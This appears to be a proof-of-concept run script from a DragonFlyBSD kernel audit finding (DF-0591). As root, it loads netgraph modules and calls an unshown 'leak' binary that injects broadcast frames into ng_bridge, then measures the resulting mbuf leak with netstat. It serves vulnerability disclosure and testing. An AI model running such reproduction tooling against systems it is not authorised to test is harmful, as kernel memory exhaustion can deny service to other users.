DragonFlyBSD Kernel Audit
DF-0591 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-0591 PoC run script.
# Requires: kldload ng_socket ng_bridge (as root).
# Injects 500 broadcast Ethernet frames into a single-link ng_bridge and
# reports the mbuf count delta (should equal the number of frames sent).
set -e
cd "$(dirname "$0")"
if [ $# -gt 0 ]; then
    N="$1"
else
    N=500
fi
kldload ng_socket 2>/dev/null || true
kldload ng_bridge 2>/dev/null || true
echo "--- mbufs BEFORE ---"
netstat -m | head -3
./leak "$N"
echo "--- mbufs AFTER (final) ---"
netstat -m | head -3